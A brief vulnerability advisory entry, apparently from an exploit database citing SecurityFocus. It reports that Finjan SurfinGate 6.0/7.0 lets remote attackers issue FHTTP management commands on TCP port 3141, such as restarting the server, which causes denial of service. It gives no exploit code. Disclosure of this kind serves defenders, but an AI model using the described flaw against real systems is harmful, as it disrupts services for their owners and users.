Finjan SurfinGate 6.0/7.0 - FHTTP Restart Command Execution Vulnerability



source: http://www.securityfocus.com/bid/9478/info


Finjan SurfinGate is prone to a vulnerability that may permit remote attackers to execute certain management commands (using the FHTTP protocol) through the management control port (3141/TCP). It has been reported that commands could be issued to restart the server, most likely resulting in a denial of service.
